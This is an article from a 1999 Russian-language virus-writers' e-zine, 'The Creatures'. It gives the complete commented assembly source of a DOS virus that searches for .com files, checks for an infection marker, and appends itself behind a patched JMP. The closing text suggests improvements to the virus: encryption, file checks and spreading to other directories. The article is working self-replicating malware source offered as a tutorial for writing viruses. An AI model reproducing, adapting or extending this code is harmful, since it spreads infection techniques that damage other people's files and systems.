┌──┬──┐ /╔════╗/╦══╗ /╔═══╗ ╔═══╗ /╔══╦══╗/╦ /╦/╦══╗ /╔═══╗ ╔═══╗
│┬ ┌── │║ /╩│║ /╚╗│║ / │║ │║ // │║ //│║ │║│║ /╚╗│║ /╩│║ │/╩
│├─┐│ ░░▒▒▒▓▓▓│║▓▓▓▓▓│║▓/╔╝│║▓▓▓▓▓╔╩═══╩╗▓▓▓│║▓▓▓│║▓▓▓│║│║▓/╔╝│║▓▓▓▓│║▓▒▒░
││ │├─ │║ │╠══╣ │║═ │║ │║ │║ │║ │║│╠══╣ │║═ /╚═══╗
││ ││ │║ /╦│║ ╚╗│║ /╦│║ │║ │║ │║ ╔╝│║ ╚╗│║ /╦ ╦ │║
│┴ ┘└─┘ /╚════╝/╩ /╩/╚═══╝/╩ /╩ /╩ /╚═══╝ /╩ /╩/╚═══╝/╚═══╝
│ THE CREATURES │ Computer Virus Magazine │ April 1999 issue 03
│───────────────┴─────────────────────────┴───────────────────────────────
│
│ ПРИМЕР COM.ВИРУСА (С КОММЕНТАРИЯМИ :)
══════════════════════════════════════════════════════════════════════════════
Тут мне один товарищ написал: "на ламеров рассчитывать не нужно, на
бегиннеров наверно тоже". Посмотрим. Кстати, и вы напишите свое мнение на
[email protected]
Терпеливый Jarod
(отрежте еще кусок бреда снизу вируса)
-----------------------------8<-----------------------------------------------
;
; "Такие вирусы клуб писал за год до образования клуба..."
; LovinGOD, IV#7
VIRUS segment
assume cs:VIRUS, ds:VIRUS
org 100h
START: jmp VIR
int 21h ; ДрозДофил <-- это не опечатка
; ^^^
VIR:
call LAUNCH ; Первоначально при старте вирус должен
LAUNCH: ; определить свое местоположение
pop bp ; относительно CS:100h
sub bp, offset LAUNCH ; Смещение я помещаю в BP
mov al, byte ptr (bp+offset BYTES)
mov byte ptr cs:[100h], al
mov al, byte ptr (bp+1+offset BYTES)
mov byte ptr cs:[101h], al
mov al, byte ptr (bp+2+offset BYTES)
mov byte ptr cs:[102h], al
; Восстановили три байта
mov ah, 1Ah
lea dx, [DTA+bp]
int 21h ; Установим свою DTA, тк
; носитель, может, тоже захочет
mov ah, 4Eh ; ею пользоваться
lea dx, [COMS+bp] ; (параметры и т.п.)
mov cx, 20h
int 21h ; Ищем файл
; (функция 4E - FindFirst)
REPEAT: jnc OK
jmp QUIT
OK:
mov ax, 3D02h
lea dx, [DTA+1Eh+bp]
int 21h ; Откроем файл для random access
jnc OK2
jmp NEXT
OK2:
mov word ptr (offset VICTIM+bp), ax
mov bx, ax
mov ax, 4202h ; ф-ция 42h - сместить указатель
mov cx, 0FFFFh
mov dx, (-2)
int 21h ; Штирлиц стоял на своем...
add ax, 02
cmp ax, LEN ; Маленьких мы не трогаем
jnb OK3
jmp NEXT ; (это называется "узнаем размер файла,
OK3: ; встав на его конец". Легонько.)
sub ax, 0003h ; вычтем 3 из AX
mov word ptr [WRITE+1][bp], ax
mov bx, word ptr VICTIM[bp] ; VICTIM+bp и VICTIM[bp] - это
mov ah, 3Fh ; одно и то же
mov cx, 02h
lea dx, BUF[bp]
int 21h ; Прочитаем словечко. ("He is alive!"
; (DE AD) "Frankenstain")
jc NEXT
mov ax, word ptr BUF[bp] ; Проверка на зараженность
cmp ax, word ptr ID[bp]
je NEXT ; Ужо наш >:]] ... Надеюсь {:-)
INFECT: mov ax, 4200h
mov bx, word ptr VICTIM[bp]
xor cx, cx
mov dx, cx
int 21h
mov ah, 3Fh
mov cx, 03
lea dx, BYTES[bp]
int 21h ; Прочитаем первые три байта жертвы
mov ax, 4200h
xor cx, cx
mov dx, cx
int 21h ; Ща будем JMP приписывать...
mov al, 0E9h ; JMP
mov byte ptr WRITE[bp], al
mov ah, 40h
mov cx, 03
lea dx, WRITE[bp]
int 21h ; Теперь всю эту хрень в файл
mov ax, 4202h
xor cx, cx
sub dx, dx
mov bx, word ptr VICTIM[bp]
int 21h
mov ah, 40h
mov cx, LEN
mov bx, word ptr VICTIM[bp]
lea dx, VIR[bp]
int 21h ; И себя заобдно (это не опечатка)
NEXT: mov ah, 3Eh
int 21h
mov ah, 4Fh
int 21h
jmp REPEAT
QUIT: mov ah, 1Ah
mov dx, 80h
int 21h ; Установим оригинальную DTA
sub cx, cx ; Подготовка к старту...
sub bx, bx ; 5..
sub dx, dx ; 4..
push ax ; 3..
mov ax, 100h ; 2..
push ax ; 1..
xor ax, ax ; 0..
retn ; ПУСК!
COMS: db '*.com',0 ;
VICTIM: dw 0000h ; дескриптор, а по-русски хендл
FLEN: dw 0000h ; сие есмь ленгтх!
BUF: dw 0000h ; пиздатый буфер
WRITE: db 0,0,0
BYTES: mov ax, 4C00h ; Тут три байта
ID: dw 0ADDEh ; А тут поебень (DEAD)
LEN equ ($-VIR)
DTA: db 80h dup (?)
VIRUS ends
end START
------------------------------------------------------------------------------
Ну вот и все. Можно было, конечно, слегка уменьшить размер вируса, убрав
те нолики в конце, тем более, там некоторые данные о жертве, но пусть уж
будут пока... Тем более что версия, так сказать, "обучающая", зато имеет
пиздатый эпигpаф.
А вообще там еще надо добавить:
■ Проверку файла на присутствие MZ
(а то заразит command.com и все...)
■ Проверку на максимальную длину файла
■ Шифрование вируса
■ Еще надо расширить радиус действия
(скажем, смена каталогов)
Ну вот теперь уж все.